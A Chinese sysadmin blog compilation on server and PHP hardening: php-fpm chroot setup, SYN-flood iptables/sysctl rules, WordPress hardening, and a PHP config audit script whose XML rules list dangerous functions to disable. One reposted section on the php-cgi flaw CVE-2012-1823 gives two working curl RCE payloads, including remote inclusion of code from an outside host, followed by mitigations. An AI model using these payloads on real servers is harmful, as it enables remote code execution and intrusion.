php-fpm chroot功能的使用

nginx+php-fpm是现在配置php环境非常流行的组合之一。nginx以其并发能力强,轻巧,速度快而受到非常多人的青睐,php-fpm以其安全,处理php速度快而成为与nginx的最佳组合。php-fpm提供有一个非常重要的功能chroot,它可以把指定的网站完完全全限制在一个目录下,可以对系统和其它虚拟机起到很好的隔离效果,这对系统的安全无疑是加强了不少,下面介绍如何配置。
我们假设域名为devops.webres.wang,网站根目录为/home/chroot/devops.webres.wang/web,需要把此网站限制在/home/chroot/devops.webres.wang。
1、php-fpm.conf配置
打开php-fpm.conf文件,把chroot更改为chroot = /home/chroot/devops.webres.wang
2、nginx配置
我们上面把devops.webres.wang站点限制在了/home/chroot/devops.webres.wang,所以对于php-fpm,此网站根目录已经变成是/web,所以我们需要更改nginx传递给php-fpm的网站根目录地址。
找到fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;,更改为fastcgi_param SCRIPT_FILENAME /web$fastcgi_script_name;
3、一些目录创建

  1. cd /home/chroot/devops.webres.wang/
  2. mkdir -p tmp etc bin usr/sbin lib dev/
  3. mknod -m 0666 dev/null c 1 3
  4. mknod -m 0666 dev/random c 1 8
  5. mknod -m 0666 dev/urandom c 1 9
  6. mknod -m 0666 dev/zero c 1 5
  7. chmod 1777 tmp

4、修复解析
把devops.webres.wang的php完全限制在一个目录下后,导致了php无法解析域名,以32位系统为例(64位库文件位置为lib64)下面是修复的步骤,

  1. cd /home/chroot/devops.webres.wang/
  2. cp /etc/hosts /etc/resolv.conf /etc/nsswitch.conf etc/
  3. cp /lib/{ld-linux.so.2,libc.so.6,libdl.so.2,libnss_dns.so.2,libnss_files.so.2,libresolv.so.2,libtermcap.so.2}  lib/

这样php就可以解析域名了。
5、修复sendmail功能
同样chroot目录后,就无法发送邮件了,我们这里使用mini_sendmail代为发送邮件。同样以32位系统为例。

  1. cd /home/chroot/devops.webres.wang/
  2. cp -P /bin/bash /bin/sh bin
  3. cp /etc/passwd /etc/group etc
  4. cd /tmp
  5. wget http://www.acme.com/software/mini_sendmail/mini_sendmail-1.3.6.tar.gz
  6. tar xzf mini_sendmail-1.3.6.tar.gz
  7. cd mini_sendmail-1.3.6
  8. make
  9. cp mini_sendmail /home/chroot/devops.webres.wang/usr/sbin/sendmail

php cgi远程任意代码执行漏洞

国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

粗看一下貌似没啥危害,因为php做了防范,在cgi这个sapi下是无法使用-r,-f等直接执行命令的参数的。只有少数几个参数可以使用,因此公告里也就给出了使用-s参数读取源文件的poc。

另外关于RCE的PoC原文没有给出,不过说明的确可以远程执行代码。那么他是怎么做到的呢?我粗略想了想,可以利用的参数只有一个-d参数了,作用是给php定义一个ini的值。

那么利用它能做什么呢?我给出如下两个RCE的PoC方案:

1、本地包含直接执行代码:

  1. curl -H "USER-AGENT: <?system(‘id’);die();?>" http://target.com/test.php?-dauto_prepend_file%3d/proc/self/environ+-n

2、远程包含执行代码:

  1. curl http://target.com/test.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.test.com/2.txt

经过测试以上两者都可以,但其实就是一个包含文件的两种使用而已。
各位看看还有什么牛逼的方法可以绕过限制直接远程执行代码呢?这会是一个很好玩的技术挑战。
补充:
防治方法是:
1. 升级到官方最新版
2. 下载这个漏洞的临时补丁http://eindbazen.net/wp-content/uploads/2012/05/CVE-2012-1823-mitigation.tar.gz
受影响的平台:APACHE+MOD_CGI+PHP-CGI模式。
转自:http://zone.wooyun.org/content/151

优化LINUX内核阻挡SYN洪水攻击

SYN洪水攻击(SYN Flooding Attack)即是指利用了 TCP/IP 三次握手协议的不完善而恶意发送大量仅仅包含 SYN 握手序列数据包的攻击方式。该种攻击方式可能将导致被攻击计算机为了保持潜在连接在一定时间内大量占用系统资源无法释放而拒绝服务甚至崩溃。如果在Linux服务器下遭受SYN洪水攻击,可以进行如下一些设置:

#缩短SYN- Timeout时间:
iptables -A FORWARD -p tcp –syn -m limit –limit 1/s -j ACCEPT
iptables -A INPUT -i eth0 -m limit –limit 1/sec –limit-burst 5 -j ACCEPT

#每秒 最多3个 syn 封包 进入 表达为 :
iptables -N syn-flood
iptables -A INPUT -p tcp –syn -j syn-flood
iptables -A syn-flood -p tcp –syn -m limit –limit 1/s –limit-burst 3 -j RETURN
iptables -A syn-flood -j REJECT

#设置syncookies:
sysctl -w net.ipv4.tcp_syncookies=1
sysctl -w net.ipv4.tcp_max_syn_backlog=3072
sysctl -w net.ipv4.tcp_synack_retries=0
sysctl -w net.ipv4.tcp_syn_retries=0
sysctl -w net.ipv4.conf.all.send_redirects=0
sysctl -w net.ipv4.conf.all.accept_redirects=0
sysctl -w net.ipv4.conf.all.forwarding=0
sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1

#防止PING:
sysctl -w net.ipv4.icmp_echo_ignore_all=1

#拦截具体IP范围:
iptables -A INPUT -s 10.0.0.0/8 -i eth0 -j Drop
转自:http://www.hit008.com/read.php?30

WordPress详细安全设置

wordpress是一款PHP开源免费的博客平台系统,强大的功能及易用性,受到非常多的博主的青睐,已经成为使用者最多博客系统。虽然wordpress在安全方面已经做得不错,但我们还是有必要加强安全设置,因为漏洞是一定会存在的,只是还没有发现。所以我们必须对wordpress进一步的安全加固,以避免因为漏洞而遭到不必要的损失。

一、更新wordpress

wordpress每更新一次,大都会伴随着程序漏洞的修补和安全问题的解决,所以非常有必要及时地更新到最新版本,以免黑客利用旧版本已发现的漏洞进行入侵。

二、设置复杂的密码

提高安全意识可以避免许多潜在的安全隐患,比如密码的选取。我们有必要为wordpress后台选取一个强口令,以防止被破解。
一个强口令包括:
1、至少有15个字符
2、包含大写字母
3、包含小写字母
4、包含数字
5、包含特殊符号,如` ! ” ? $ ? % ^ & * ( ) _ – + = { [ } ] : ; @ ‘ ~ # | . ? /
6、不能与上次密码相似
7、不能包含你的名字
8、不能包含你朋友的名字
9、不能包含家庭成员的名字
10、不能包含你的生日,手机,身份证等信息

我们可以通过http://strongpasswordgenerator.com/网站自动生成强口令。

三、使用sftp代替ftp

sftp是通过安全加密传输文件的,防止黑客窃取到敏感文件,普通的ftp是明文传输,一旦黑客成功截取数据包,文件将明文地呈现出来。sftp是sshd的一部分,如果你拥有通过ssh帐号管理空间的权限,意味着可以使用sftp传输文件了。

四、文件权限设置

文件权限设置说明参考:http://devops.webres.wang/2011/12/setup-secure-website-permissions/
wordpress文件权限设置涉及到几个目录:
根目录 /,/wp-admin/,/wp-includes/ :
所有的文件应该设置为只有自己的用户帐号有写入权限,其它的只设置有读权限。
/wp-content/:
用户目录,可以设置为所有用户可写。
/wp-content/themes/:
主题目录,如果你需要在后台使用主题编辑器,需要设置为可写。
/wp-content/plugins/ :
插件目录,设置只有你的用户帐号可写。
提示:wordpress全站目录不需要可写都可以正常运行,所以建议设置为全站不可写,当需要自动升级,安装主题或插件时,可以临时设置为可写,之后再关闭写入权限即可,这是最安全的设置。

五、数据库安全

如果服务器运行有多个网站,并且用到mysql数据库,建议为各个数据库指定一个低权限的用户。数据库用户需要的权限有:Alter,Delete,Create,Drop,Execute,Select,Update。
具体添加mysql数据库的命令为:
不需要远程连接:

  1. grant Alter,Delete,Create,Drop,Execute,Select,Update on dbname . * to ‘username′@’localhost’ identified by ‘password’;

需要远程连接:

  1. grant Alter,Delete,Create,Drop,Execute,Select,Update on dbname . * to ‘username′@’client-ip’ identified by ‘password’;

六、后台wp-admin安全设置

后台wp-admin安全的设置有人建议修改后台的地址,这虽然可行,但比较麻烦,而且升级wordpress会遇到困难。所以我们一般不建议修改后台地址。这里使用三步实现wp-admin后台的安全设置。
1、后台设置服务器端密码认证。
当访问wp-admin后台时,需要输入用户和密码才行进入后台,这阻止了黑客暴力破解wordpress后台密码的可能。
nginx设置方法如下:http://devops.webres.wang/2011/12/nginx-http-auth-basic/
apache设置方法如下:http://devops.webres.wang/2012/04/apache-password-access/
2、强制使用ssl登录后台。
如果你的网络不安全,使用http明文登录后台的话,有可能被黑客监听到用户和密码。如果使用https传送密码,则可以避免这种潜在安全隐患。
设置方法:http://devops.webres.wang/2012/04/force-wordpress-admin-with-ssl/
3、只允许指定ip登录后台
这应该是非常好的安全设置。如果有可能,即你的工作地址相对固定,可以设置只允许指定的ip或ip段登录后台,这将极大地增强后台的安全性。
nginx设置方法:http://devops.webres.wang/2011/12/nginx-deny-or-allow-ip/
apache设置方法:http://devops.webres.wang/2012/04/apache-order-deny-allow/

七、wp-include wp-config.php

对于wp-include目录的保护,我们可以使用apache的mod_rewrite或nginx的location禁止任何用户访问wp-include的文件。
apache设置方法:

  1. # Block the include-only files.
  2. RewriteEngine On
  3. RewriteBase /
  4. RewriteRule ^wp-config.php – [F,L]
  5. RewriteRule ^wp-admin/includes/ – [F,L]
  6. RewriteRule !^wp-includes/ – [S=3]
  7. RewriteRule ^wp-includes/[^/]+.php$ – [F,L]
  8. RewriteRule ^wp-includes/js/tinymce/langs/.+.php – [F,L]
  9. RewriteRule ^wp-includes/theme-compat/ – [F,L]

八、隐藏式安全

1、隐藏wordpress版本
隐藏wordpress的版本好处是防止黑客根据你的版本查找相应的漏洞进而发起攻击。操作方法参考:http://devops.webres.wang/2012/04/wordpress-hide-version/
2、重命名管理者账号
为了防止黑客暴力破解后台密码,最好还是不要使用默认的admin帐号。修改默认帐号的方法可以通过mysql命令行执行命令:

  1. mysql> UPDATE wp_users SET user_login = ‘newuser’ WHERE user_login = ‘admin’;

或者可以直接使用phpmyadmin可视化操作。
3、更改 table_prefix(表名前缀)
更改默认的表名前缀wp_可以防止sql注入攻击。

九、数据备份

不要指望把上面的设置完成就可以高枕无忧了,我们还是必须保持对数据的备份,以便数据丢失或黑客挂马时能迅速地恢复。对于数据备份的方法,可以参考:http://devops.webres.wang/category/backup/
参考:http://codex.wordpress.org/Hardening_WordPress

设置wordpress后台强制使用ssl

默认登录wordpress的后台是使用http协议,这协议是明文发送的。这可能会导致你的用户和密码被窃听。如果使用ssl登录,这种情况则可以避免。下面是设置方法。
1、设置wp-config.php

  1. /* That’s all, stop editing! Happy blogging. */
  2. require_once(ABSPATH . ‘wp-settings.php’);

在上面的代码之前加上如下代码:

  1. define(‘FORCE_SSL_LOGIN’, true); 
  2. define(‘FORCE_SSL_ADMIN’, true);

define(‘FORCE_SSL_LOGIN’, true);是启用登录时使用ssl,define(‘FORCE_SSL_ADMIN’, true);后台管理也使用ssl。如果担心后台使用ssl影响速度,可以不用。但还是建议使用,因为这将有可能cookie被劫持导致黑客伪造cookie登录后台。
2、配置ssl web服务器
nginx配置方法:http://devops.webres.wang/2011/12/nginx-ssl-https-support/
apache配置方法:http://devops.webres.wang/2011/10/centos-install-apache-ssl/

隐藏wordpress版本号

隐藏wordpress版本号,可以防止他人针对特定版本号寻找相应的漏洞,从而进行入侵。隐藏版本号的方法是,在当前主题目录下的function.php文件中加入:

  1. function wpt_remove_version() { 
  2.    return ”; 
  3. add_filter(‘the_generator’, ‘wpt_remove_version’);

设置nginx密码保护wordpress后台

今天早上起来打开QQ,收到一封密码重置的邮件,查看了一下日志,确实有人在捣乱,虽然似乎获取不到我的后台密码,除非连我的邮件也破解了。但这给了我一种不安全的感觉。好吧,既然你想通过后台破解我的密码,我就不让你进我的后台,nginx设置方法如下:
1、根据文http://devops.webres.wang/2011/12/nginx-http-auth-basic/后面的部分生成密码文件,放在/usr/local/nginx/conf。
2、在nginx.conf文件中加入:

  1. location ~ /wp-login.php  {
  2. location ~ .*.(php|php5)?$
  3.     {
  4.         fastcgi_pass unix:/tmp/php-cgi.sock;
  5.         fastcgi_index index.php;
  6.         include fcgi.conf;
  7.     }
  8.   auth_basic            "Restricted";
  9.   auth_basic_user_file  htpasswd;
  10. }

这里分为两部分,一部分是匹配wp-login.php,一部分用来解析php文件,否则会提示下载php文件的。

PHP环境安全性能检查

PHP在Linux环境下安全配置是一个复杂的过程,其中涉及到很多的细节设置,在这里发出来一个脚本,通过这个脚本来检测你的PHP环境是否存在安全隐患,从而针对这些对你的PHP环境进行加固。
功能:

  • 1.检测PHP环境安全配置
  • 2.应禁用的功能。
  • 3.危险的设置,可能会导致本地或远程文件包含。
  • 4.错误处理。
  • 5.在编译时定义的常量。
  • 安装PHP环境后,将此三个文件脚本放在网站web目录下(audit.php php.xml style.css )进行浏览器查看,他将在你配置的基础中通过XML文件中匹配规则检测出可能存在的配置错误,存在问题的选项它会用红色突出的颜色显示。当然还有一些东西可以根据你的要求更改。
    效果如下:
    服务器安全
    audit.php

    1. <?php
    2. /**
    3.  * PHP Security Auditor
    4.  */
    5. class Audit {
    6.  
    7. static private $rules;
    8. static private $constants;
    9. static private $phpVer;
    10.  
    11. static public $report;
    12.  
    13. /**
    14. * Converts settings such as 1M 1G 1K to their byte equivilent values
    15. *
    16. * @param string $n
    17. * @return string
    18. */
    19. static private function convertToBytes($n) {
    20.  
    21. // If n is -1 then there is no limit
    22.      if ($n == -1)
    23.      return PHP_INT_MAX;
    24.  
    25.      switch (substr($n, -1)) {
    26.                     case "B": return substr($n,0,-1);
    27.       case "K": return substr($n,0,-1) * 1024;
    28.                     case "M": return substr($n,0,-1) * 1024 * 1024;
    29.                     case "G": return substr($n,0,-1) * 1024 * 1024 * 1024;
    30.             }
    31.             return $n;
    32.      }
    33.  
    34. static private function MakeReport($type, $title) {
    35.  
    36. ksort(self::$report[$type]);
    37.  
    38.      $html = ‘<h1>’ . $title . ‘</h1><table><tr class="h"><th>Setting</th><th>Current</th><th>Recomended</th><th>Description</th></tr>’;
    39.     foreach(self::$report[$type] as $key => $values)
    40.     {
    41.     if ($values[‘p’] == 1) $class="r";
    42.     else $class="v";
    43.  
    44. $html .= ‘<tr><td class="e">’ . htmlentities($key) . ‘</td>’ .
    45. ‘<td class="’. $class .’">’ . htmlentities($values[‘c’]) . ‘</td>’ .
    46. ‘<td class="’. $class .’">’ . htmlentities($values[‘r’]) . ‘</td>’ .
    47. ‘<td class="’. $class .’">’ . htmlentities($values[‘d’]) . ‘</td></tr>’;
    48.     }
    49.     $html .= ‘</table>’;
    50.  
    51. return $html;
    52. }
    53.  
    54.  
    55.     static public function HTMLReport()
    56.      {
    57.      $class = "";
    58.  
    59.      $html = ‘<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "DTD/xhtml1-transitional.dtd">’ .
    60. ‘<html><head>’ .
    61.      ‘<link rel="stylesheet" type="text/css" media="all" href="style.css"/>’ .
    62.      ‘</head><body>’;
    63.  
    64.      $html .= self::MakeReport("ini", "PHP INI");
    65.      $html .= self::MakeReport("disabled", "PHP Disabled Functions");
    66.      $html .= self::MakeReport("const", "PHP CONST");
    67.  
    68.     $html .= ‘</html>’;
    69.  
    70.     echo($html . "n");
    71. }
    72.  
    73.    /**
    74.    * Adds an item to the reporting array.
    75.    *
    76.    * @param string $type – the type (ini or const)
    77.    * @param string $key – the name of the variable
    78.    * @param string $currentValue – the current ini or const value
    79.    * @param string $recomended – the recomended value
    80.    * @param string $desc – a description of the issue
    81.    * @param boolean $problem – true if not complaint, false if compliant
    82.    */
    83. static private function Report($type, $key, $currentValue, $recomended, $desc, $problem)
    84. {
    85. if (isset(self::$report[$type][$key]))
    86. if ((self::$report[$type][$key][‘r’] < $recomended)
    87. && (self::$report[$type][$key[‘p’]] == 1))
    88. return;
    89.  
    90. self::$report[$type][$key] = array(
    91. "c" => $currentValue,
    92. "r" => $recomended,
    93. "d" => $desc,
    94. "p" => $problem
    95. );
    96. }
    97.  
    98. /**
    99. * Loads the rules from an XML file
    100. *
    101. * @param string $file
    102. */
    103. static public function LoadRules($file = "php.xml")
    104. {
    105.  
    106. if (!defined(‘PHP_VERSION_ID’))
    107. {
    108. $version = explode(".", PHP_VERSION);
    109. self::$phpVer =  ($version[0] * 10000 + $version[1] * 100 + $version[2]);
    110. } else
    111. self::$phpVer = PHP_VERSION_ID;
    112.  
    113. self::$constants = get_defined_constants();
    114. self::$rules = simplexml_load_file($file);
    115. }
    116.  
    117. /**
    118. * Processes the XML ruleset against const and ini values found in PHP
    119. *
    120. */
    121. static public function ProcessXML() {
    122.  
    123. foreach(self::$rules as $null => $entry) {
    124. $ruleID = $entry->attributes()->id;
    125.  
    126. // Check the version of PHP the rule applies to
    127.  
    128. $version = (string)$entry->version;
    129.  
    130. if ($version != "") {
    131.  
    132. $op = (string)$entry->version->attributes()->op;
    133.  
    134. switch ($op) {
    135. case ‘before’:
    136. if ($version < self::$phpVer)
    137. continue 2;
    138. break;
    139. }
    140. }
    141.  
    142. // Evaluate the rule as we are sure it applys to the version of PHP running
    143.  
    144. switch((string)$entry->type)
    145. {
    146. // Look at CONST values in PHP
    147. case "const":
    148.  
    149. $key = (string)$entry->key; // e.g LIBXML_NOENT
    150. $cValue = self::$constants[$key]; // The current value
    151. $rValue = (string)$entry->value; // The recomended value
    152. $desc = (string)$entry->description; // Description
    153.  
    154. switch((string)$entry->value->attributes()->op)
    155. {
    156. case "eq":
    157. self::Report("const", $key, $cValue, $rValue, $desc, ($cValue == $rValue) ? 0 : 1);
    158. break;
    159. }
    160.  
    161. break;
    162.  
    163. // Check the list of functions that should be restricted
    164.  
    165. case "disable_functions":
    166.  
    167. $disabled = ini_get("disable_functions");
    168. $list = explode(",", $disabled);
    169.  
    170. $xmlList = (array)($entry->list);
    171. $xmlList = $xmlList[‘function’];
    172.  
    173. foreach($xmlList as $null => $function) {
    174. $de = array_search($function, $list);
    175. self::Report("disabled", $function, (($de == 0) ? "enabled" : "disabled"), "disabled", "", (($de == 0) ? 1 : 0));
    176. }
    177.  
    178. break;
    179.  
    180. // Look at values defined within the INI files
    181.  
    182. case "ini":
    183.  
    184. $key = (string)$entry->key; // e.g. display_errors
    185. $cValue = trim(self::convertToBytes(ini_get($key))); // Current value
    186. $rValue = (string)$entry->value; // Recomended value
    187. $desc = (string)$entry->description; // Description
    188.  
    189. if (is_numeric($rValue) && $cValue == "") $cValue = "0";
    190.  
    191. // Deals with where one value should be compared to another
    192.  
    193. if ((string)$entry->value->attributes()->type == "key")
    194. $rValue = self::convertToBytes(ini_get((string)$entry->value));
    195.  
    196. switch((string)$entry->value->attributes()->op)
    197. {
    198. // Equal to
    199. case "eq":
    200. self::Report("ini", $key, $cValue, $rValue, $desc, ($cValue == $rValue) ? 0 : 1);
    201. break;
    202.  
    203. // Less than or equal to
    204. case "lt":
    205. self::Report("ini", $key, $cValue, "< $rValue", $desc, ($cValue <= $rValue) ? 0 : 1);
    206. break;
    207.  
    208. // Greater than or equal to
    209. case "gt":
    210. self::Report("ini", $key, $cValue, "> $rValue", $desc, ($cValue >= $rValue) ? 0 : 1);
    211. break;
    212.  
    213. // Not equal to
    214. case "ne":
    215. $neValue  = (string)$entry->value->attributes()->net;
    216. $notBlank = (string)$entry->value->attributes()->notblank;
    217.  
    218.  
    219. if ($notBlank == "true") {
    220. self::Report("ini", $key, $cValue, $rValue, $desc, ($cValue != "") ? 0 : 1);
    221. break;
    222. }
    223.  
    224. self::Report("ini", $key, $cValue, $rValue, $desc, ($cValue != $neValue) ? 0 : 1);
    225. break;
    226.  
    227. }
    228.  
    229. break;
    230. }
    231.  
    232. }
    233.  
    234. }
    235.  
    236.  
    237. }
    238.  
    239. Audit::LoadRules();
    240. Audit::ProcessXML();
    241. Audit::HTMLReport();

    php.xml代码如下:

    1. <?xml version="1.0" encoding="UTF-8"?>
    2. <rules>
    3. <entry id="1">
    4. <type>ini</type>
    5. <key>upload_max_filesize</key>
    6. <value op="lt">4194304</value>
    7. <description>Sets the maximum size of an uploaded file. Reduce this to mitigate the risk of DOS attacks.</description>
    8. </entry>
    9. <entry id="29">
    10. <type>ini</type>
    11. <key>upload_max_filesize</key>
    12. <value op="lt" type="key">memory_limit</value>
    13. <description>The maximum size of an uploaded file should be able to fit within the avaliable memory limit.</description>
    14. </entry>
    15. <entry id="30">
    16. <type>ini</type>
    17. <key>post_max_size</key>
    18. <value op="lt" type="key">memory_limit</value>
    19. <description>The maximum post size of data posted to the server should be within the avaliable memory limit.</description>
    20. </entry>
    21. <entry id="32">
    22. <type>ini</type>
    23. <key>always_populate_raw_post_data</key>
    24. <value op="eq">0</value>
    25. <description>This does not need to be used. The preferred method for accessing the raw POST data is php://input.</description>
    26. </entry>
    27. <entry id="33">
    28. <type>ini</type>
    29. <key>magic_quotes_gpc</key>
    30. <value op="eq">0</value>
    31. <description>Sets magic_quotes state for GPC (GET PUT COOKIE) data.  Relying on this feature is highly discouraged.</description>
    32. <version op="before">50300</version>
    33. <url>http://www.php.net/manual/en/info.configuration.php#ini.magic-quotes-gpc</url>
    34. </entry>
    35. <entry id="34">
    36. <type>ini</type>
    37. <key>magic_quotes_runtime</key>
    38. <value op="eq">0</value>
    39. <description>Sets magic_quotes state for data from external sources.  Relying on this feature is highly discouraged.</description>
    40. <version op="before">50300</version>
    41. <url>http://www.php.net/manual/en/info.configuration.php#ini.magic-quotes-runtime</url>
    42. </entry>
    43. <entry id="35">
    44. <type>ini</type>
    45. <key>safe_mode</key>
    46. <value op="eq">0</value>
    47. <description>This feature has been DEPRECATED as of PHP 5.3.0. Relying on this feature is highly discouraged.</description>
    48. <version op="before">50300</version>
    49. </entry>
    50. <entry id="36">
    51. <type>ini</type>
    52. <key>memory_limit</key>
    53. <value op="lt">16777216</value>
    54. <description>The maximum memory limit for each script should be 16M or less.</description>
    55. </entry>
    56. <entry id="5">
    57. <type>ini</type>
    58. <key>upload_max_filesize</key>
    59. <value op="lt" type="key">post_max_size</value>
    60. <description>The maximum upload file size should be less than or equal to the maximum post size.</description>
    61. </entry>
    62. <entry id="2">
    63. <type>ini</type>
    64. <key>max_file_uploads</key>
    65. <value op="lt">10</value>
    66. <description>The maximum mumber of files that can be uploaded in 1 go.</description>
    67. </entry>
    68. <entry id="3">
    69. <type>ini</type>
    70. <key>file_uploads</key>
    71. <value op="eq">0</value>
    72. <description>This may be impractical but if not needed file uploading should be disabled.</description>
    73. </entry>
    74. <entry id="4">
    75. <type>ini</type>
    76. <key>post_max_size</key>
    77. <value op="lt">4194304</value>
    78. <description>The maximum post size should as small as reasonably possible to mitigate the risk of DOS attacks.</description>
    79. </entry>
    80. <entry id="6">
    81. <type>ini</type>
    82. <key>register_long_arrays</key>
    83. <value op="eq">0</value>
    84. <description>Populates HTTP_*_VARS which should no longer be used.</description>
    85. <version op="before">50300</version>
    86. </entry>
    87. <entry id="7">
    88. <type>ini</type>
    89. <key>register_globals</key>
    90. <value op="eq">0</value>
    91. <description>Highly dangerous feature enabling variables to be defined in scripts from the GPC paramaters. This should be always be turned off.</description>
    92. <version op="before">50300</version>
    93. </entry>
    94. <entry id="8">
    95. <type>ini</type>
    96. <key>session.hash_function</key>
    97. <value op="eq">1</value>
    98. <description>MD5 should be replaced with SHA-160 as it is a more complex and secure hashing algorithm.</description>
    99. <version op="after">50000</version>
    100. </entry>
    101. <entry id="9">
    102. <type>ini</type>
    103. <key>session.hash_bits_per_character</key>
    104. <value op="gt">5</value>
    105. <description>The number of bits encoded per character of the session key.</description>
    106. <version op="after">50000</version>
    107. </entry>
    108. <entry id="10">
    109. <type>ini</type>
    110. <key>session.entropy_file</key>
    111. <value op="ne" net="">/dev/random</value>
    112. <description>Provides a random seed for generating the session.</description>
    113. </entry>
    114. <entry id="11">
    115. <type>ini</type>
    116. <key>session.entropy_length</key>
    117. <value op="gt">32</value>
    118. <description>The number of bytes to read for gathering entropy for session generation.</description>
    119. </entry>
    120. <entry id="12">
    121. <type>ini</type>
    122. <key>session.name</key>
    123. <value op="ne" net="PHPSESSID">Custom String</value>
    124. <description>The name given to the PHP Session. It is recomended this be changed from the default.</description>
    125. </entry>
    126. <entry id="14">
    127. <type>ini</type>
    128. <key>session.save_path</key>
    129. <value op="ne" net="/tmp" notblank="true">/custom/location</value>
    130. <description>The save path for the session should be changed from the default /tmp.</description>
    131. </entry>
    132. <entry id="15">
    133. <type>ini</type>
    134. <key>session.use_trans_sid</key>
    135. <value op="eq">0</value>
    136. <description>Sessions should not be allowed in GET paramaters.</description>
    137. </entry>
    138. <entry id="18">
    139. <type>ini</type>
    140. <key>display_errors</key>
    141. <value op="eq">0</value>
    142. <description>Error messages should be suppressed</description>
    143. </entry>
    144. <entry id="19">
    145. <type>ini</type>
    146. <key>allow_url_fopen</key>
    147. <value op="eq">0</value>
    148. <description>Remote files should not be accessable using fopen.</description>
    149. </entry>
    150. <entry id="20">
    151. <type>ini</type>
    152. <key>allow_url_include</key>
    153. <value op="eq">0</value>
    154. <description>You should not be able to include remote scripts using include.</description>
    155. </entry>
    156. <entry id="31">
    157. <type>ini</type>
    158. <key>session.cookie_httponly</key>
    159. <value op="eq">1</value>
    160. <description>Cookies must be httponly by default</description>
    161. <version op="after">50200</version>
    162. </entry>
    163. <entry id="20">
    164. <type>ini</type>
    165. <key>open_basedir</key>
    166. <value op="ne" net="/" notblank="true">/the/webroot</value>
    167. <description>Limit the files that can be opened by PHP to the webroot.</description>
    168. </entry>
    169. <entry id="32">
    170. <type>ini</type>
    171. <key>upload_tmp_dir</key>
    172. <value op="ne" net="/tmp" notblank="true">/custom/location</value>
    173. <description>Change the location of where files are initally uploaded to</description>
    174. </entry>
    175. <entry id="21">
    176. <type>ini</type>
    177. <key>max_execution_time</key>
    178. <value op="lt">20</value>
    179. <description>Execution time should be limited to 20 seconds or less.</description>
    180. </entry>
    181. <entry id="22">
    182. <type>ini</type>
    183. <key>max_input_nesting_level</key>
    184. <value op="lt">32</value>
    185. <description>Maximum level of nesting of objects 32 is sufficent.</description>
    186. </entry>
    187. <entry id="23">
    188. <type>ini</type>
    189. <key>enable_dl</key>
    190. <value op="eq">0</value>
    191. <description>Disable loading of dynamic extensions.</description>
    192. </entry>
    193. <entry id="24">
    194. <type>ini</type>
    195. <key>display_startup_errors</key>
    196. <value op="eq">0</value>
    197. <description>Startup errors should be suppressed.</description>
    198. </entry>
    199. <entry id="25">
    200. <type>ini</type>
    201. <key>log_errors</key>
    202. <value op="eq">1</value>
    203. <description>All errors generated by PHP should be logged to a file.</description>
    204. </entry>
    205. <entry id="26">
    206. <type>ini</type>
    207. <key>log_errors_max_len</key>
    208. <value op="gt">2048</value>
    209. <description>At least 2048 characters of the error message should be stored in the error log.</description>
    210. </entry>
    211. <entry id="27">
    212. <type>ini</type>
    213. <key>error_log</key>
    214. <value op="ne" net="">/custom/location</value>
    215. <description>Should be set to the location of the php error log.</description>
    216. </entry>
    217. <entry id="28">
    218. <type>const</type>
    219. <key>LIBXML_NOENT</key>
    220. <value op="eq">0</value>
    221. <description>External entities should be disabled for XML parsing</description>
    222. </entry>
    223. <entry id="37">
    224. <type>ini</type>
    225. <key>session.use_only_cookies</key>
    226. <value op="eq">1</value>
    227. <description>Session variables should only be passed in cookies.</description>
    228. </entry>
    229. <entry id="29">
    230. <type>const</type>
    231. <key>LIBXML_NONET</key>
    232. <value op="eq">0</value>
    233. <description>Network access for XML parsers should be disabled.</description>
    234. </entry>
    235. <entry id="38">
    236. <type>disable_functions</type>
    237. <list>
    238. <function>fsocket_open</function>
    239. <function>pack</function>
    240. <function>escapeshellarg</function>
    241. <function>escapeshellcmd</function>
    242. <function>exec</function>
    243. <function>passthru</function>
    244. <function>proc_close</function>
    245. <function>php_uname</function>
    246. <function>getmyuid</function>
    247. <function>getmypid</function>
    248. <function>passthru</function>
    249. <function>leak</function>
    250. <function>listen</function>
    251. <function>diskfreespace</function>
    252. <function>tmpfile</function>
    253. <function>link</function>
    254. <function>ignore_user_abort</function>
    255. <function>set_time_limit</function>
    256. <function>limit</function>
    257. <function>exec</function>
    258. <function>highlight_file</function>
    259. <function>show_source</function>
    260. <function>fpaththru</function>
    261. <function>virtual</function>
    262. <function>posix_ctermid</function>
    263. <function>posix_getcwd</function>
    264. <function>posix_getegid</function>
    265. <function>posix_geteuid</function>
    266. <function>posix_getgid</function>
    267. <function>posix_getgrgid</function>
    268. <function>posix_getgrnam</function>
    269. <function>posix_getgroups</function>
    270. <function>posix_getlogin</function>
    271. <function>posix_getpgid</function>
    272. <function>posix_getpgrp</function>
    273. <function>posix_getpid</function>
    274. <function>posix</function>
    275. <function>posix_getpwnam</function>
    276. <function>posix_getpwuid</function>
    277. <function>posix_getrlimit</function>
    278. <function>posix_getsid</function>
    279. <function>posix_getuid</function>
    280. <function>posix_isatty</function>
    281. <function>posix_kill</function>
    282. <function>posix_mkfifo</function>
    283. <function>posix_setegid</function>
    284. <function>posix_seteuid</function>
    285. <function>posix_setgid</function>
    286. <function>posix_setpgid</function>
    287. <function>posix_setsid</function>
    288. <function>posix_setuid</function>
    289. <function>posix_times</function>
    290. <function>posix_ttyname</function>
    291. <function>posix_uname</function>
    292. <function>proc_open</function>
    293. <function>proc_close</function>
    294. <function>proc_get_status</function>
    295. <function>proc_nice</function>
    296. <function>proc_terminate</function>
    297. <function>phpinfo</function>
    298. <function>proc_open</function>
    299. <function>shell_exec</function>
    300. <function>system</function>
    301. <function>set_time_limit</function>
    302. <function>ini_alter</function>
    303. <function>dl</function>
    304. <function>popen</function>
    305. <function>parse_ini_file</function>
    306. </list>
    307. </entry>
    308. </rules>

    style.css代码如下:

    1. @CHARSET "UTF-8";
    2.  
    3. body {background-color: #ffffff; color: #000000;}
    4. body, td, th, h1, h2 {font-family: sans-serif;}
    5. pre {margin: 0px; font-family: monospace;}
    6. table {border-collapse: collapse;}
    7. td, th { border: 1px solid #000000; font-size: 75%; vertical-align: baseline;  padding-left:5px; padding-right:5px;}
    8. h1 {font-size: 150%;}
    9. h2 {font-size: 125%;}
    10. .p {text-align: left;}
    11. .e {background-color: #ccccff; font-weight: bold; color: #000000;}
    12. .h {background-color: #9999cc; font-weight: bold; color: #000000;}
